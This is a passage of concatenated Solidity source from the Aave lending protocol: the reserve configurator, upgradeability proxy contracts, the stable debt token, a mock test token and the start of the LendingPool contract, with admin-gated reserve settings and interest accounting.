IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.stableDebtTokenAddress, input.implementation, encodedCall ); emit StableDebtTokenUpgraded( input.asset, reserveData.stableDebtTokenAddress, input.implementation ); } /** * @dev Updates the variable debt token implementation for the asset **/ function updateVariableDebtToken(UpdateDebtTokenInput calldata input) external onlyPoolAdmin { ILendingPool cachedPool = pool; DataTypes.ReserveData memory reserveData = cachedPool.getReserveData(input.asset); (, , , uint256 decimals, ) = cachedPool.getConfiguration(input.asset).getParamsMemory(); bytes memory encodedCall = abi.encodeWithSelector( IInitializableDebtToken.initialize.selector, cachedPool, input.asset, input.incentivesController, decimals, input.name, input.symbol, input.params ); _upgradeTokenImplementation( reserveData.variableDebtTokenAddress, input.implementation, encodedCall ); emit VariableDebtTokenUpgraded( input.asset, reserveData.variableDebtTokenAddress, input.implementation ); } /** * @dev Enables borrowing on a reserve * @param asset The address of the underlying asset of the reserve * @param stableBorrowRateEnabled True if stable borrow rate needs to be enabled by default on this reserve **/ function enableBorrowingOnReserve(address asset, bool stableBorrowRateEnabled) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(true); currentConfig.setStableRateBorrowingEnabled(stableBorrowRateEnabled); pool.setConfiguration(asset, currentConfig.data); emit BorrowingEnabledOnReserve(asset, stableBorrowRateEnabled); } /** * @dev Disables borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableBorrowingOnReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit BorrowingDisabledOnReserve(asset); } /** * @dev Configures the reserve collateralization parameters * all the values are expressed in percentages with two decimals of precision. A valid value is 10000, which means 100.00% * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset. The values is always above 100%. A value of 105% * means the liquidator will receive a 5% bonus **/ function configureReserveAsCollateral( address asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); //validation of the parameters: the LTV can //only be lower or equal than the liquidation threshold //(otherwise a loan against the asset would cause instantaneous liquidation) require(ltv <= liquidationThreshold, Errors.LPC_INVALID_CONFIGURATION); if (liquidationThreshold != 0) { //liquidation bonus must be bigger than 100.00%, otherwise the liquidator would receive less //collateral than needed to cover the debt require( liquidationBonus > PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); //if threshold * bonus is less than PERCENTAGE_FACTOR, it's guaranteed that at the moment //a loan is taken there is enough collateral available to cover the liquidation bonus require( liquidationThreshold.percentMul(liquidationBonus) <= PercentageMath.PERCENTAGE_FACTOR, Errors.LPC_INVALID_CONFIGURATION ); } else { require(liquidationBonus == 0, Errors.LPC_INVALID_CONFIGURATION); //if the liquidation threshold is being set to 0, // the reserve is being disabled as collateral. To do so, //we need to ensure no liquidity is deposited _checkNoLiquidity(asset); } currentConfig.setLtv(ltv); currentConfig.setLiquidationThreshold(liquidationThreshold); currentConfig.setLiquidationBonus(liquidationBonus); pool.setConfiguration(asset, currentConfig.data); emit CollateralConfigurationChanged(asset, ltv, liquidationThreshold, liquidationBonus); } /** * @dev Enable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function enableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(true); pool.setConfiguration(asset, currentConfig.data); emit StableRateEnabledOnReserve(asset); } /** * @dev Disable stable rate borrowing on a reserve * @param asset The address of the underlying asset of the reserve **/ function disableReserveStableRate(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setStableRateBorrowingEnabled(false); pool.setConfiguration(asset, currentConfig.data); emit StableRateDisabledOnReserve(asset); } /** * @dev Activates a reserve * @param asset The address of the underlying asset of the reserve **/ function activateReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveActivated(asset); } /** * @dev Deactivates a reserve * @param asset The address of the underlying asset of the reserve **/ function deactivateReserve(address asset) external onlyPoolAdmin { _checkNoLiquidity(asset); DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setActive(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveDeactivated(asset); } /** * @dev Freezes a reserve. A frozen reserve doesn't allow any new deposit, borrow or rate swap * but allows repayments, liquidations, rate rebalances and withdrawals * @param asset The address of the underlying asset of the reserve **/ function freezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(true); pool.setConfiguration(asset, currentConfig.data); emit ReserveFrozen(asset); } /** * @dev Unfreezes a reserve * @param asset The address of the underlying asset of the reserve **/ function unfreezeReserve(address asset) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setFrozen(false); pool.setConfiguration(asset, currentConfig.data); emit ReserveUnfrozen(asset); } /** * @dev Updates the reserve factor of a reserve * @param asset The address of the underlying asset of the reserve * @param reserveFactor The new reserve factor of the reserve **/ function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin { DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset); currentConfig.setReserveFactor(reserveFactor); pool.setConfiguration(asset, currentConfig.data); emit ReserveFactorChanged(asset, reserveFactor); } /** * @dev Sets the interest rate strategy of a reserve * @param asset The address of the underlying asset of the reserve * @param rateStrategyAddress The new address of the interest strategy contract **/ function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress) external onlyPoolAdmin { pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress); emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress); } /** * @dev pauses or unpauses all the actions of the protocol, including aToken transfers * @param val true if protocol needs to be paused, false otherwise **/ function setPoolPause(bool val) external onlyEmergencyAdmin { pool.setPause(val); } function _initTokenWithProxy(address implementation, bytes memory initParams) internal returns (address) { InitializableImmutableAdminUpgradeabilityProxy proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(implementation, initParams); return address(proxy); } function _upgradeTokenImplementation( address proxyAddress, address implementation, bytes memory initParams ) internal { InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress)); proxy.upgradeToAndCall(implementation, initParams); } function _checkNoLiquidity(address asset) internal view { DataTypes.ReserveData memory reserveData = pool.getReserveData(asset); uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress); require( availableLiquidity == 0 && reserveData.currentLiquidityRate == 0, Errors.LPC_RESERVE_LIQUIDITY_NOT_0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseImmutableAdminUpgradeabilityProxy.sol'; import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends BaseAdminUpgradeabilityProxy with an initializer function */ contract InitializableImmutableAdminUpgradeabilityProxy is BaseImmutableAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {} /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) { BaseImmutableAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface ILendingPoolConfigurator { struct InitReserveInput { address aTokenImpl; address stableDebtTokenImpl; address variableDebtTokenImpl; uint8 underlyingAssetDecimals; address interestRateStrategyAddress; address underlyingAsset; address treasury; address incentivesController; string underlyingAssetName; string aTokenName; string aTokenSymbol; string variableDebtTokenName; string variableDebtTokenSymbol; string stableDebtTokenName; string stableDebtTokenSymbol; bytes params; } struct UpdateATokenInput { address asset; address treasury; address incentivesController; string name; string symbol; address implementation; bytes params; } struct UpdateDebtTokenInput { address asset; address incentivesController; string name; string symbol; address implementation; bytes params; } /** * @dev Emitted when a reserve is initialized. * @param asset The address of the underlying asset of the reserve * @param aToken The address of the associated aToken contract * @param stableDebtToken The address of the associated stable rate debt token * @param variableDebtToken The address of the associated variable rate debt token * @param interestRateStrategyAddress The address of the interest rate strategy for the reserve **/ event ReserveInitialized( address indexed asset, address indexed aToken, address stableDebtToken, address variableDebtToken, address interestRateStrategyAddress ); /** * @dev Emitted when borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve * @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise **/ event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled); /** * @dev Emitted when borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event BorrowingDisabledOnReserve(address indexed asset); /** * @dev Emitted when the collateralization risk parameters for the specified asset are updated. * @param asset The address of the underlying asset of the reserve * @param ltv The loan to value of the asset when used as collateral * @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized * @param liquidationBonus The bonus liquidators receive to liquidate this asset **/ event CollateralConfigurationChanged( address indexed asset, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus ); /** * @dev Emitted when stable rate borrowing is enabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateEnabledOnReserve(address indexed asset); /** * @dev Emitted when stable rate borrowing is disabled on a reserve * @param asset The address of the underlying asset of the reserve **/ event StableRateDisabledOnReserve(address indexed asset); /** * @dev Emitted when a reserve is activated * @param asset The address of the underlying asset of the reserve **/ event ReserveActivated(address indexed asset); /** * @dev Emitted when a reserve is deactivated * @param asset The address of the underlying asset of the reserve **/ event ReserveDeactivated(address indexed asset); /** * @dev Emitted when a reserve is frozen * @param asset The address of the underlying asset of the reserve **/ event ReserveFrozen(address indexed asset); /** * @dev Emitted when a reserve is unfrozen * @param asset The address of the underlying asset of the reserve **/ event ReserveUnfrozen(address indexed asset); /** * @dev Emitted when a reserve factor is updated * @param asset The address of the underlying asset of the reserve * @param factor The new reserve factor **/ event ReserveFactorChanged(address indexed asset, uint256 factor); /** * @dev Emitted when the reserve decimals are updated * @param asset The address of the underlying asset of the reserve * @param decimals The new decimals **/ event ReserveDecimalsChanged(address indexed asset, uint256 decimals); /** * @dev Emitted when a reserve interest strategy contract is updated * @param asset The address of the underlying asset of the reserve * @param strategy The new address of the interest strategy contract **/ event ReserveInterestRateStrategyChanged(address indexed asset, address strategy); /** * @dev Emitted when an aToken implementation is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The aToken proxy address * @param implementation The new aToken implementation **/ event ATokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a stable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The stable debt token proxy address * @param implementation The new aToken implementation **/ event StableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); /** * @dev Emitted when the implementation of a variable debt token is upgraded * @param asset The address of the underlying asset of the reserve * @param proxy The variable debt token proxy address * @param implementation The new aToken implementation **/ event VariableDebtTokenUpgraded( address indexed asset, address indexed proxy, address indexed implementation ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol'; /** * @title BaseImmutableAdminUpgradeabilityProxy * @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. The admin role is stored in an immutable, which * helps saving transactions costs * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { address immutable ADMIN; constructor(address admin) public { ADMIN = admin; } modifier ifAdmin() { if (msg.sender == ADMIN) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return ADMIN; } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './Proxy.sol'; import '../contracts/Address.sol'; /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {MathUtils} from '../libraries/math/MathUtils.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title StableDebtToken * @notice Implements a stable debt token to track the borrowing positions of users * at stable rate mode * @author Aave **/ contract StableDebtToken is IStableDebtToken, DebtTokenBase { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; uint256 internal _avgStableRate; mapping(address => uint40) internal _timestamps; mapping(address => uint256) internal _usersStableRate; uint40 internal _totalSupplyTimestamp; ILendingPool internal _pool; address internal _underlyingAsset; IAaveIncentivesController internal _incentivesController; /** * @dev Initializes the debt token. * @param pool The address of the lending pool where this aToken will be used * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH) * @param incentivesController The smart contract managing potential incentives distribution * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendingPool pool, address underlyingAsset, IAaveIncentivesController incentivesController, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol, bytes calldata params ) public override initializer { _setName(debtTokenName); _setSymbol(debtTokenSymbol); _setDecimals(debtTokenDecimals); _pool = pool; _underlyingAsset = underlyingAsset; _incentivesController = incentivesController; emit Initialized( underlyingAsset, address(pool), address(incentivesController), debtTokenDecimals, debtTokenName, debtTokenSymbol, params ); } /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Returns the average stable rate across all the stable rate debt * @return the average stable rate **/ function getAverageStableRate() external view virtual override returns (uint256) { return _avgStableRate; } /** * @dev Returns the timestamp of the last user action * @return The last update timestamp **/ function getUserLastUpdated(address user) external view virtual override returns (uint40) { return _timestamps[user]; } /** * @dev Returns the stable rate of the user * @param user The address of the user * @return The stable rate of user **/ function getUserStableRate(address user) external view virtual override returns (uint256) { return _usersStableRate[user]; } /** * @dev Calculates the current user debt balance * @return The accumulated debt of the user **/ function balanceOf(address account) public view virtual override returns (uint256) { uint256 accountBalance = super.balanceOf(account); uint256 stableRate = _usersStableRate[account]; if (accountBalance == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]); return accountBalance.rayMul(cumulatedInterest); } struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; } /** * @dev Mints debt token to the `onBehalfOf` address. * - Only callable by the LendingPool * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; } /** * @dev Burns debt of `user` * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external override onlyLendingPool { (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user); uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user]; // Since the total supply and each single user debt accrue separately, // there might be accumulation errors so that the last borrower repaying // mght actually try to repay more than the available debt supply. // In this case we simply set the total supply and the avg stable rate to 0 if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); // For the same reason described above, when the last user is repaying it might // happen that user rate * user balance > avg rate * total supply. In that case, // we simply set the avg rate to 0 if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } } if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { //solium-disable-next-line _timestamps[user] = uint40(block.timestamp); } //solium-disable-next-line _totalSupplyTimestamp = uint40(block.timestamp); if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); } emit Transfer(user, address(0), amount); } /** * @dev Calculates the increase in balance since the last user interaction * @param user The address of the user for which the interest is being accumulated * @return The previous principal balance, the new principal balance and the balance increase **/ function _calculateBalanceIncrease(address user) internal view returns ( uint256, uint256, uint256 ) { uint256 previousPrincipalBalance = super.balanceOf(user); if (previousPrincipalBalance == 0) { return (0, 0, 0); } // Calculation of the accrued interest since the last accumulation uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance); return ( previousPrincipalBalance, previousPrincipalBalance.add(balanceIncrease), balanceIncrease ); } /** * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp **/ function getSupplyData() public view override returns ( uint256, uint256, uint256, uint40 ) { uint256 avgRate = _avgStableRate; return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp); } /** * @dev Returns the the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) { uint256 avgRate = _avgStableRate; return (_calcTotalSupply(avgRate), avgRate); } /** * @dev Returns the total supply **/ function totalSupply() public view override returns (uint256) { return _calcTotalSupply(_avgStableRate); } /** * @dev Returns the timestamp at which the total supply was updated **/ function getTotalSupplyLastUpdated() public view override returns (uint40) { return _totalSupplyTimestamp; } /** * @dev Returns the principal debt balance of the user from * @param user The user's address * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH) **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the lending pool where this aToken is used **/ function POOL() public view returns (ILendingPool) { return _pool; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IAaveIncentivesController) { return _getIncentivesController(); } /** * @dev For internal usage in the logic of the parent contracts **/ function _getIncentivesController() internal view override returns (IAaveIncentivesController) { return _incentivesController; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } /** * @dev For internal usage in the logic of the parent contracts **/ function _getLendingPool() internal view override returns (ILendingPool) { return _pool; } /** * @dev Calculates the total supply * @param avgRate The average rate at which the total supply increases * @return The debt balance of the user since the last burn/mint action **/ function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) { uint256 principalSupply = super.totalSupply(); if (principalSupply == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp); return principalSupply.rayMul(cumulatedInterest); } /** * @dev Mints stable debt tokens to an user * @param account The account receiving the debt tokens * @param amount The amount being minted * @param oldTotalSupply the total supply before the minting event **/ function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } /** * @dev Burns stable debt tokens of an user * @param account The user getting his debt burned * @param amount The amount being burned * @param oldTotalSupply The total supply before the burning event **/ function _burn( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {StableDebtToken} from '../../protocol/tokenization/StableDebtToken.sol'; contract MockStableDebtToken is StableDebtToken { function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {IAToken} from '../../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {IFlashLoanReceiver} from '../../flashloan/interfaces/IFlashLoanReceiver.sol'; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol'; import {Helpers} from '../libraries/helpers/Helpers.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol'; import {GenericLogic} from '../libraries/logic/GenericLogic.sol'; import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol'; import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../libraries/types/DataTypes.sol'; import {LendingPoolStorage} from './LendingPoolStorage.sol'; /** * @title LendingPool contract * @dev Main point of interaction with an Aave protocol's market * - Users can: * # Deposit * # Withdraw * # Borrow * # Repay * # Swap their loans between variable and stable rate * # Enable/disable their deposits as collateral rebalance stable rate borrow positions * # Liquidate positions * # Execute Flash Loans * - To be covered by a proxy contract, owned by the LendingPoolAddressesProvider of the specific market * - All admin functions are callable by the LendingPoolConfigurator contract defined also in the * LendingPoolAddressesProvider * @author Aave **/ contract LendingPool is VersionedInitializable, ILendingPool, LendingPoolStorage { using SafeMath for uint256; using WadRayMath for uint256; using PercentageMath for uint256; using SafeERC20 for IERC20; uint256 public constant LENDINGPOOL_REVISION = 0x2; modifier whenNotPaused() { _whenNotPaused(); _; } modifier onlyLendingPoolConfigurator() { _onlyLendingPoolConfigurator(); _; } function _whenNotPaused() internal view { require(!_paused, Errors.LP_IS_PAUSED); } function _onlyLendingPoolConfigurator() internal view { require( _addressesProvider.getLendingPoolConfigurator() == msg.sender, Errors.LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR ); } function getRevision() internal pure override returns (uint256) { return LENDINGPOOL_REVISION; } /** * @dev Function is invoked by the proxy contract when the LendingPool contract is added to the * LendingPoolAddressesProvider of the market. * - Caching the address of the LendingPoolAddressesProvider in order to reduce gas consumption * on subsequent operations * @param provider The address of the LendingPoolAddressesProvider **/ function initialize(ILendingPoolAddressesProvider provider) public initializer { 